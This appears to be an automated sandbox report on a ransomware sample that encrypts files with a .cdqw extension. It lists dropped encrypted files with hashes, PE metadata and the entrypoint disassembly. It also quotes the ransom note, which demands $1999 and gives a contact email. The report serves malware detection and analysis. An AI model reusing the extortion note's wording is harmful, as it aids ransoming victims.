MD5:	7AD561AC31402857071DE58C0FBA8E1F
SHA1:	42DDDEB80C5D81ED6FF83620FE2DDA2FBB0465F2
SHA-256:	D665103EC91B1C638B98ED18801F62EFA2036E816A6D05123EC878611F1917FE
SHA-512:	6DEACDAC23D11EC03EC428EE5C25DF5DED9F77D3F4CB9971F5E83A0B5DE6AB616DAE7F92AEF7CE742B5063CDB8DE2810D6379454F81B36C9708FA393694CBF5F
Malicious:	false
Preview:	regf..].Qx...R....?G..L:...>....W.?....y.lL....4...,.M..[.j...~.....A..m...;9.......Nz'.P.dU..V.......\|>..{..S.xF)p.+U.]..`.....X....).5.s.....$..S9Ti/dy0}O..bi%..\|n3.0.^.K..s."Ro.1.y!..F7....>rb...<.B...NF3.u....Y.h(.a.\|}..........%x.Z..W....J..&..LY.W...G}R...;..Xa...K.....$.p.q...z.z......Q]" ..SGQ....x5.b.....@(....n u'...q..(yg.......I..?.$..j....e...l.6n.o.\....n[...[..!\d.M..ka..aD.n............U....c.....uy(..y7.C................~..K.D$R4....W6..}]....'`N...&.k.!.0+../..8......1.7.u....Y-~.:.g....a./.3.....f.Y;qc..........~..A...u...1.N.#N(Z..f}_..M.y...9C..v..\F..Q.4Z..........X2CJ0:E\|...)...O.>....-.......0..X..O?6U]......q.........J.R."...i....p.h..M..b5.D..k.C..R..Zb.SV.u@..].Z.D...1..c...J....r.~.!./..]v.!1..-..........8..y.lFJ...B..$.a.q)U./...CCfw.v...t....Fb.<.l.)[......5z..\|..}Q..vy.U....".....E..Z..T.EN..;....XV..U....e.DT\....3%......~.P...pU...&.p...........i...q2.i..E...m6.G2W.G..M...XA.....`H...{s.1..._.9}...E^.8..isZ

C:\Users\user\Local Settings\Packages\Microsoft.BioEnrollment_cw5n1h2txyewy\Settings\settings.dat.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977660048562285
Encrypted:	false
SSDEEP:	192:CODq7tdpUZuUAX5oTbAPA+cfOaxh2bAFoPVhE6qGLwHSfrueTcc:CJ7tdpU1AX5oTbr6a/IkGssrz
MD5:	A962AEA61AF45F37F16478A23BBF8BE3
SHA1:	D380CA752BF414E9C2BA35A5A5B1F3F3332FDBFD
SHA-256:	F8EBFFDD11B641A9A5256E07A45CC069BE98F8EDDC478BEB11241C32267D2DCE
SHA-512:	623B87346AEEBC5A4EC4BE46C4AE8AE01962B957EBEE2C170B21B831D2EF1D98343BFFE4DFF815A360EA7B89CCB59DF98D29CEDE63CEB795962207D1F26749C1
Malicious:	false
Preview:	regf....c.7.......SX..]6q.....V..n...7[o<..{....;.S..9..I...C.@.rP.............1..i..p...B.....0./..s.Mf...3.....m.....f.}...i<..19.!....."...H.c..;D.c.'..)..... ....NC..D.0!..k.$"#..;..>....S...JQ..v....\=N.b...k....p]..q%....K?0C.2.x.u..S.<.+.._.....G"D.I.o.!....Y.T.7!............Ts;{?x....(.#f.}....5v..\.m..g.I.&Kk...3.:hy.i..6O......x#.}....FCqc.W..`....4;.....r9..o.DxgS}...V$~....d-....~..i...t`.-..~I...I.........r....+.a.......m.a....y].<.F8...........rP..........jo...<L..1.OZ...1xDc...ivr......cNLa.Qf.wZV..../.w.7..-?\|..n........y..z...q....#kO....I.._D.p..vNX7.A..u...iZZ....w.N:KB=...X.eX...E..\R.x..3.....m.@d4=.m\|..Ae.J...A...tt.].{f\I..D...].l.H....tu..%.s.`.......V.YF.U..o.....j.a.DXD...X.z..b4.....O......Iy........s...s..z....\HG...Yx(...utS.%.y..W>/.$....b.j.)'...IE......D0&....)..@.j_._.q.Qx..<....+.).tlD.]..Y.[<t.r...v.}_.O.... .....c...?.8..0X.u...X.....D..... .....C...Y..E..Ec.8.pZ...,T<.h....?.:....}...d....

C:\Users\user\Local Settings\Packages\Microsoft.CredDialogHost_cw5n1h2txyewy\Settings\settings.dat.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977588821390737
Encrypted:	false
SSDEEP:	192:J0G+gm86PKjv46i7fRiNYjSqSuu4vdWH8kHICt25qXFJJ0cZwW:Jf/V9z4z782jS1ml3kRt25qVH0cqW
MD5:	3532CF2D264CA74BFE7EE6BDD4376A43
SHA1:	AB676EE6D7A428981FB002AF6ABB01BD2C451DBE
SHA-256:	4FEB08E7480534B0353BA4015B2D748C975B1019B77D3E21F1C058602216E718
SHA-512:	C284834C19C6984053D913E169B8832BC938678A87CA526E11CD9E2273D2DC038D8F47699EE29750C528F543C6C5D04617215DF3E8809C2A827127C5E96B596D
Malicious:	false
Preview:	regf...,....q.y7a.2..um.%..........s_v.....HvR..M.-v.^...:.&.E......u...!Ag..t+.G. ....."........vHy.....l.'......a.B....&..`#L...'3.TJ+...0.....d..Q.I"...7.e../.b..j..?...oX...I..\i.....YiXc).8.h~.I...V.i....x&A..f......W'JV._.-..gw\1..0......~^...b....U.i.t.pF+.).0.....V....#.OU.x..f..Th.t.>..._T....YH.a\|0o...L..a...x_.\.#..3..(.'.......S2-V..._.c...$..O"G.....Z..o=5..-..f..._X.H...].....m}...?...:/....+o.^_K.r......wl.g....F.....;.U.....Z.f\|..9.....m.3H...h.........LJ....l...`........^.my.N.y.....A....e.$...?.>mf.k,..G..d...2].Tats.<...\|.....O/!..e.L....}V....&h..F7M.~.h....y[h.I. .,......~Q.P...5C.h,..T..........r^..TQ.n...T}...-5.1..M.;4...YB....0..>..iX......6.7..g....^r.s..55l.P .".I........._.C.6...;....K ...k~.o.....`.z.-q...:.dt..`.a.x.7.g~...P..r.....\|.9UgR...v...'..>z...?..d.a.DP.q(.g].}'...$.!*H.sG.^.6f..f.+.%..'3..xh...<::@.~.u..P....'.cEq.....rz...J....K8...OB....1/E..........1mbj....;.B......./..h#+.4..a,.@X...

C:\Users\user\Local Settings\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\Settings\settings.dat.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9765948233539214
Encrypted:	false
SSDEEP:	192:lfpAsRH2zJaHDGvCBxy6316AuI/jWKAMokPSwd7PNw:l2sRHRHD3S63gogdkF71w
MD5:	5EB29FACA021038567854D0336BC1440
SHA1:	4384F208362F7D31E0E6FCAAC372F9EA7C82DD30
SHA-256:	B749D485BD63B0CFA17F3B0B3A3FB3632CF4DE9E8098C37D62DFF58F176407A8
SHA-512:	27DA97424B4F9897DD402C9B2FBE1684295A09C3C7B7511758D8D1C350F3F08B9F8477DD1DB5781B350E4B1DE1FDDDA795AA2D8677E442A23BA3C40CA0A0FF9E
Malicious:	false
Preview:	regf.e+#..g.'W75B..<.a).T0.$/. ,DCD..,.9u....a8..J.2..n'.A....D....O`..!2.j....Z...G.....!V..... #..{.0......0.\|zqx..J......)x.&.29.-..!.k~.4..,%...r....&...X.q<..A-.[../.K#}..........3....\.....pL...'....QB{.h.$..'.Q.T#.-.-.=)...rb.4.twX.h.....z{.=...l.....Vk...r(.....l.......d...<3....%...?.e9.... v5..6.....6..y...4.X>...Cc..[.......6.....n...3.s.2.!...1..(Ss8.0)q..e,9.`.).."....k...:.$U,.n=..R..u....P6.....9.,X^iH...z..;q.cJ %....&iZ..i'.8-!.E.-z.R[......2.BO...`...$.?\|q.r.>.].........].#A.<9^..UR.......D...yOC....2.[_.....5....)B.].........ZA@%..w/..e..b.u8...U.]..6U7d0. _......:.<.[.r[c...5.......O..x.c..N5ps...xO.`r.p2:9;x..........@...E...<...Q}h..{.-..............`@........82.`P'.H4M..,_.&....O.R.1uW.........>e.. ..+.0.O6J.t....s....X..t..........#.@z.....{D.%?.....PC~.rNnp...J...O.#..z....i..k#.t+p.{.4.....(\.,u..Ghz........P..k..YH.t.!\..gk.3rb..) .3J.....W.zO..}...K.3.3.r..../....;......$.(U....P.x..5+......U.E...

C:\Users\user\Local Settings\Packages\Microsoft.ECApp_8wekyb3d8bbwe\Settings\settings.dat.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97716754858995
Encrypted:	false
SSDEEP:	192:ArGEUyg6hCxaa2MdIV7U5fGGZAXHy2e65Z2A4R7f5W8UsOgmc:OG9coxaaDL5H+L4tRvUvgf
MD5:	8656DEA8CDA5CA3F6C09645CAE1CB493
SHA1:	C65BB454FDCE357D8D74A188B3B8464127EDFC18
SHA-256:	733341ACD05BB5BEB25E8744966A7A8DCC0844F6A250D982703E7AFA7718314C
SHA-512:	02EAA7E3DBC1320C33C5D8F987F295827670F4378B7760BFDADB7BA1177A7B3B64FC5694144FD5A1CE59AFB74F38CA3B52E707B6075746D5B18C51EF66CE2DCD
Malicious:	false
Preview:	regf.[.......<N.d.../N.E.......0...t.)....?..}_.I..S.S'.C.n..X..L.L....p.........g..@.7A.<]jw@.I.l..;.\|..#..n.....T..Y.a.<..\|N.K.<RY,...U..w..2?....N,o.=.&..!.4..T...XS....P.........W.&.....U.[S. ......m.h.........NV.#...........?.0v/}...w.~......D".K."#..(....X..S.....q..h.r<J.....u........M..C...nxw.G.o.K..I.~$..x.X.x..n..V..E...f..b.......b..2.O(7$gr..5.2.............]0...q..t....1.....`..'.1.lR....L...Y.....T.*..4....T.l...#...CeQ.?e....>..;...O......3.C..M...y:...(.ZKr...m...:.d.<..+].$...f..cu.B...{..i....tYY..+.R.OOdB...D..M..'.B..>.....6..`...k.SNR.=K.........+.c.#Y..;.]..?...l.....o...}.........&..._A....Ur..)..].R........}UL....b.,....(t..K.s....u....g`..H..-..Z..0..$.".3x@<&..iU..V\$K.E.......<......b..8<j..'6...L..2..>V......d(.......\|.v............)T...S./}2. 7..cR........M....#.....&.....a..y.t....>......9..\<}..WiC... ..D-/..2.b]...>........@.1wo.s.>."..p..PB.#.....B...m.[..J.L....0L/u.-%..[.....PFD.....v.=

C:\Users\user\Local Settings\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat.LOG1.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9748448129525755
Encrypted:	false
SSDEEP:	192:ndN+ce/jK5s64jRREQohhNLLUnNUthxYnC+0+ae5GAjddAbYK9B8TOkar:ndN+ce/mJOEQobNLhfqnCRgnddXcB8K/
MD5:	C2871309AC64E542FAAEB8A048858D91
SHA1:	0A8E49470F5CB49399C44E1EE81A426FD7DD7377
SHA-256:	B42EC24F67711105F65DE93531C591475705478F3D32BEB7AD48907D82EEFC6E
SHA-512:	5138316BFCA3EE9377C687AB15E9BE33DD5217E9F9F94A1D60C3030ACACEF031C391576F0913155B58F5A8E8D1BC162CAE5CF8858E60064C7955A1D4F584D81A
Malicious:	false
Preview:	regf...a...U..4L.}..<H...~.o.....fG..........h..M.8P...t.\-..u.U..7`}W,G.....Q.I.......'...&_.Zi.Oq.._OX........E....f....H......B,...S#O.....Q..2.%x...5k;0..'.I..".sJ%~n....y....r[5K..0.M..N-...u..n..^=.Gl2.4.....F..w..$.4...A.'....O......[!....#.&.!>..\..p.d.R{........K@.;.>ii..~.,d.+..cZe;.a3...2.?O..KP......\..]j.. ...6l"t/..I.Y.U..i...wq^=$.}#.I..`....YQ:.BK...\..>.....9z.....Tr..<[q.R..0..}\|..>E.A/....u.s...U;;.%Z=YgI..~4.....,....n...8<...F.-..(y.....r..3>.+.............P..:....E. %..4...:d......."...~.....[>?.A...?..^..V..ez.B. ..7.0.Y...C.t..._;.W0]....u...!........`..z...{D.....bn.....j`..k.-'d..C...3.G.+...'.e.Z..@..........5'..$.Wf.%.Dd..N......DiC*.b.w.s:...\..o...Ti....~t.....c..i.UU&..x.U....$..R..<..F?vG........["9z............e#&.....MQ..?..#.Y.o&.P)...........N......l.vQ.:.."n...t.D\@....g....5,.A...-.......J....bYnyg...m...ca..s.....> N.{{...RCim.[...g.Rh....q7........(+....._..N......J...dmA'..O\|E:v..7.]qS....]

C:\Users\user\Local Settings\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979545780943677
Encrypted:	false
SSDEEP:	192:fskaiARYLLmSs5xG/XGxi4cIw9YWxndpm/CyNVIEPkLRVgq:fsHTSs5EWatKWxHm/LNVRPkLRVgq
MD5:	9D7C10A6017108FD8878FF613A453F13
SHA1:	FA65814F0BA2540F3A075F6EB0DDA957CE268683
SHA-256:	8283A2405AF301EAF9215D011FA8CF369732E7A0E82384FC8284756426919704
SHA-512:	AABF36E523FB1EA0677E3032B03B863FBCE7D06D2CACB8C9B5AEEA66698D3056B7129B50617CA569BEEBCE334FCDC036CB4DD8861F9A86391E67A39C027FA1F5
Malicious:	false
Preview:	regf.:...Q."..6{}...ZU[.jUw......n....1..T....O...YZ...)...FX.[......F...s^.....]..^.;....w.2.e9.Z.x..^.T@\|..#.!..^.....dq#(..Y..I.TA..`......)\.a...H[.l29......}y9m.&...&....cT(..<...m.....D]..Y.).?+(=..G.....=.....f.`.]:s.w-..Z._m..5....&.r..X?..mY.#...HFyt.....f....+.`...+..2i.KY#..g~... .(..@.L.....x.$....`...8...xG.a.jth..J.7b...X..6EI. S'2.g'.K.....S+q.H...#.VY..Z,.kY.Qm6..j3..-..h:Gw`~8.::...6..\|....C...)).6...........OZ....H.u...oC]Q.{....)..XS...iV%.f..CW..U`...g\|.V.....@../..z6)G.,.........jZ..Q5..-..0...c..l..;r0...;.#.A].He....K.1....2.6..l........).....C.J...[......A..x.Q<%.O/.9..k.).N..[.U..Fdf...;..Ob...OJ8.g.C....\].J&a.....xveE..^.-u..C.xN..>N. .Hf...?u..l.....H...~..<.=...M...Z.bv.r...[.}.....U.Z.QF..1u..K.......M&.+.nd..#:;5[...:`...m.....w.<Gq..tJ.<M.I;ySyQ....@....W.... $\|%.. 0.:>&....Yc.[.f?..T1....4..o-~.D..pY........c\.E..Z...O..^...Ij....R..nt......r..r.[..w+.6.......b;'..Xo.......C....B!@....Q...ZC/_...N....fq<.....

C:\Users\user\Local Settings\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\Settings\settings.dat.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9771072077407785
Encrypted:	false
SSDEEP:	192:1AMT5c1ePSrdkIFkYEgbcyA9R4dsrC7i3SmzgKOpOL1QFFfhH/urC:6MT+eardjbEgwyA9R4dyxdxOpTdmG
MD5:	6A3CE7204E1F2F485D18F9100932472E
SHA1:	CD3159009761D7EDCFF25C7B100048EF63ED7566
SHA-256:	51B263403C4D9D9A8B09E5A3963B991710984F8963E6E1AF6FB816E1D74087B2
SHA-512:	7C5C80EEF2948CE2B5F4481945E0131AC66EF3801E16C343B5397B9C926822F2DA1D4FE176F0FC06F9354674B9C181A3A101624FD79680854F7E7023B33F4109
Malicious:	false
Preview:	regf.[/...F;\|l.v}............nq.(...%.'.....5.H.C.3}..3\...:.4....,.W........C_x...C.0..=....I.lFi\|S..? ._....o....c?.1..P...^.^.;f.3.x..4..F>)3S..R.^K..:pC..0.h.(.G+-..t..n...'.vT8z.d.gb}["....D...Jk>.].:{).5U..<...\.\|.!>q....<PxiT.) ..(Hi.H1...I...ySo......)...<....7...q.Jk..x.a...7uix.........PD..........I..2N.+6.Y....l[o ."F....m.{......._f/.!O..y..O....,-...H&Z.&...$qS...!..%.-k..%...ao.O..{.].........b.PxcL.7.G...Y.q.K...H..=..G.yJ.\|.3..y..Ie..`..Z./o...........4h..Gtsl......]..}..P&.w..S..a9...D......zT....7.7.......t......O....../I.A..$..q@A^....M.._v6..l.Zl.r....u....x.jLr.Q...c...:q....Aagy.^O..:\..{~.x...M...@.`.!.%.....J..\|.n.y.'R.n.?8...I.f....l[i.TN..........,....{......"..Rh.l...I..j.......}I.DN....!?.....~..H..p....K=.....}.x.G.\|Ua...,W...,....5..Q.5,..$iy..p.'.;...^...j.%.B..S....$./L.S....]......7.....N[......g...Dw........L......2..Z>7.?.b)..n...K..+.=.....\..d..@ .&n/1TV7...W.)..?.....i.50. ...../._k6.^`Q9.g6...._

C:\Users\user\Local Settings\bowsakkdestx.txt.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	900
Entropy (8bit):	7.781439924398598
Encrypted:	false
SSDEEP:	24:YcrJcjEkD8iFPUZFuUDDbxcnUudBcL6Pq+zw1bD:YEKZcLhDbxiUudBcOP1zyD
MD5:	C2534570D70F52D9CD322DF918357C31
SHA1:	DEACC9DCAAC2D617485988E8E16AE67EC95594F1
SHA-256:	391C29AABC206C11A4ADC16B2F62A87871D793238BEC61BB339131A557D23CE1
SHA-512:	7CC24AF0CF500F5524B40FAC45ABB3D053336B31EDD4AEEB965EF7619E4D4FF09F8CE50D07C5F6B73465197B32AEA86CF90982B8C97687D4D8999F31FD9592B1
Malicious:	false
Preview:	{"pub.5c...d....iO[.0...G.....H...Qn.~......Uy.P.Wv......T.9.ds...M.A.......q$a...5..p.1Ko...7........bR..k.B'".....}..h'...L..._...S.hF.2.{..-...!....$..j..OL.[.%..t.0..b..(K5.w.)W.`GL...mH.....S.&.....Y..z#..][Q...=.9K........ik;.J\]...P!..o..I......Hj._.2.'qN...D.Z.....]..N P........X..uZ].(").S.....+..K,.e.@.]...@.;E./.n..2#c5v'...]...R..P;...W.}jt.(\7...}!......e>0.........Tk..t_N\|.t.@El...j..q....#.y.s....>...a......;...n._.HZ.Cy./H.T..q,.``....c..)..B............M..,i.0.YP...#...m#..!...c.u..EZ..B...-=.,...#...+.=....T....i.}/.P..Z....k.M.Gz.....% ]\\|\|]nc8......!.f.~9.......C.^5;4/.=..0...%pY....!..........G......T9.....<..........@..o.T.l.d.k-..E/=eO..^J1...$..`o.o..^...;,......O...`Xa.9......?cb.NT2...=.x.o ........f/=...mx..]~q.iVa.1.&{=........(umB.....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\_readme.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1120
Entropy (8bit):	4.871867626503352
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuW4mFRqrn6324kA+GT/kF5M2/kJw3RJDLwp:WZHfv0p6W4Pn42rDGT0f/kiN6
MD5:	577B674A1A30E90A51CC4D48A243D916
SHA1:	3DFAD623A4F2330139276356C43515B9F3D4CD54
SHA-256:	E2B833DC0DA159C2493F7B0F0F26034877F188A3BF2D411236400C92F7F3F6A1
SHA-512:	9AC36F71FA74A3CE01925CAD65AD8246378BEAFD47D9576DAD4258CDF615A32D5B567E8F0F61C072232C4D9CDAFC8B1846182AAF5B2EA06D338E39B1799C3AF7
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-99MNqXMrdS..Price of private key and decrypt software is $1999...Discount 50% available if you contact us first 72 hours, that's price for you is $999...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..support@freshingmail.top....Reserve e-mail addr

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.84785005614839
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Clipper DOS Executable (2020/12) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	kOVwcHSfrR.exe
File size:	700'416 bytes
MD5:	d3d46d0339ceb24c85568e75f78846a7
SHA1:	36f63066beba540453e1b93e6b1e282aed804234
SHA256:	26bd4a40d12d5483b5cf8a0a2db0dddb151b0b3206079dcf2782834482a2c3b7
SHA512:	d669aaafddb658f88dd6d325883d7b568b9e6b6dc5914b0d7d9d01cf468f0e0521e05e5a7f46e0437e9389470f4f5ec751b416b94412956c2a208b0bccc8227c
SSDEEP:	12288:vE1Gh9OfPNkHH1fl8Zjc38izOfdXacgGeOM0GejX6B:qM9ZZl4mGXjxeOMg4
TLSH:	CFE4222079E18272EA7B6535B854D9A4567BB8B37BB181CB3388523F0E607C14F7931B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................PE..L......c...........

File Icon


Icon Hash:	71514109494a546b

Static PE Info

General

Entrypoint:	0x403c13
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x63B1DA16 [Sun Jan 1 19:08:06 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	8e3dbf4dc3bd1abcd77059b0567f968f

Entrypoint Preview

Instruction
call 00007FA5409906D9h
jmp 00007FA54098D68Eh
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push dword ptr [008C2BA8h]
call 00007FA54098FF7Bh
push dword ptr [008C2BA4h]
mov edi, eax
mov dword ptr [ebp-04h], edi
call 00007FA54098FF6Bh
mov esi, eax
pop ecx
pop ecx
cmp esi, edi
jc 00007FA54098D899h
mov ebx, esi
sub ebx, edi
lea eax, dword ptr [ebx+04h]
cmp eax, 04h
jc 00007FA54098D889h
push edi
call 00007FA540990807h
mov edi, eax
lea eax, dword ptr [ebx+04h]
pop ecx
cmp edi, eax
jnc 00007FA54098D85Ah
mov eax, 00000800h
cmp edi, eax
jnc 00007FA54098D814h
mov eax, edi
add eax, edi
cmp eax, edi
jc 00007FA54098D821h
push eax
push dword ptr [ebp-04h]
call 00007FA540990795h
pop ecx
pop ecx
test eax, eax
jne 00007FA54098D828h
lea eax, dword ptr [edi+10h]
cmp eax, edi
jc 00007FA54098D852h
push eax
push dword ptr [ebp-04h]
call 00007FA54099077Fh
pop ecx
pop ecx
test eax, eax
je 00007FA54098D843h
sar ebx, 02h
push eax
lea esi, dword ptr [eax+ebx*4]
call 00007FA54098FE86h
pop ecx
mov dword ptr [008C2BA8h], eax
push dword ptr [ebp+08h]
call 00007FA54098FE78h
mov dword ptr [esi], eax
add esi, 04h
push esi
call 00007FA54098FE6Dh
pop ecx
mov dword ptr [008C2BA4h], eax
mov eax, dword ptr [ebp+08h]
pop ecx
jmp 00007FA54098D814h
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov edi, edi
push esi

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa1aa8	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4c3000	0x7f98	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x9f1e0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa0e40	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9f000	0x190	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x9df02	0x9e000	False	0.9568381007713608	data	7.943273353110293	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9f000	0x33ee	0x3400	False	0.3694411057692308	SysEx File - Clarity	5.313978609297346	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa3000	0x41fbbc	0x1800	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4c3000	0x7f98	0x8000	False	0.479736328125	data	4.803746591269588	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x4c33c0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Spanish	Paraguay	0.43310234541577824
RT_ICON	0x4c4268	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Spanish	Paraguay	0.5523465703971119
RT_ICON	0x4c4b10	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Spanish	Paraguay	0.5852534562211982
RT_ICON	0x4c51d8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Spanish	Paraguay	0.6033236994219653
RT_ICON	0x4c5740	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Spanish	Paraguay	0.4446058091286307
RT_ICON	0x4c7ce8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Spanish	Paraguay	0.4950750469043152
RT_ICON	0x4c8d90	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Spanish	Paraguay	0.5212765957446809
RT_STRING	0x4c9470	0x42a	data	Spanish	Paraguay	0.4540337711069418
RT_STRING	0x4c98a0	0x344	data	Spanish	Paraguay	0.4772727272727273
RT_STRING	0x4c9be8	0x64c	data	Spanish	Paraguay	0.4323821339950372
RT_STRING	0x4ca238	0x45c	data	Spanish	Paraguay	0.45698924731182794
RT_STRING	0x4ca698	0x402	data	Spanish	Paraguay	0.4756335282651072
RT_STRING	0x4caaa0	0x4f6	data	Spanish	Paraguay	0.4440944881889764
RT_ACCELERATOR	0x4c9260	0x40	data	Spanish	Paraguay	0.90625
RT_ACCELERATOR	0x4c92a0	0x30	data	Spanish	Paraguay	0.9583333333333334
RT_GROUP_ICON	0x4c91f8	0x68	data	Spanish	Paraguay	0.6826923076923077
RT_VERSION	0x4c92d0	0x19c	data			0.5728155339805825

Imports

DLL	Import
KERNEL32.dll	GetComputerNameW, BackupSeek, GetModuleHandleW, GetProcessHeap, GetConsoleAliasesLengthA, GetWindowsDirectoryA, GetVolumePathNameW, GlobalFindAtomA, LoadLibraryW, GetConsoleMode, WriteConsoleW, EnumResourceLanguagesA, CreateFileW, InterlockedExchange, GetLastError, SetLastError, GetProcAddress, VirtualAlloc, SetComputerNameA, OpenMutexA, InterlockedIncrement, DnsHostnameToComputerNameA, CreateHardLinkW, AddAtomW, RemoveDirectoryW, BeginUpdateResourceA, GetCommMask, OpenJobObjectW, FindFirstVolumeMountPointA, FindFirstChangeNotificationA, GetStringTypeW, GetVersionExA, GetWindowsDirectoryW, OpenFileMappingA, SuspendThread, lstrcpyA, DebugActiveProcess, LoadResource, LocalAlloc, InterlockedDecrement, Sleep, InitializeCriticalSection, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, GetStartupInfoW, RaiseException, RtlUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, HeapFree, TerminateProcess, GetCurrentProcess, IsDebuggerPresent, HeapAlloc, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, GetModuleFileNameW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, SetHandleCount, GetFileType, GetStartupInfoA, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, GetCurrentThreadId, HeapCreate, VirtualFree, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, HeapSize, HeapReAlloc, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, GetLocaleInfoA, GetStringTypeA, MultiByteToWideChar, LoadLibraryA, InitializeCriticalSectionAndSpinCount, LCMapStringA, WideCharToMultiByte, LCMapStringW
USER32.dll	CharLowerBuffA
GDI32.dll	GetDeviceGammaRamp
ADVAPI32.dll	BackupEventLogA
ole32.dll	CoGetPSClsid

Possible Origin

Language of compilation system	Country where language is spoken	Map
Spanish	Paraguay

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
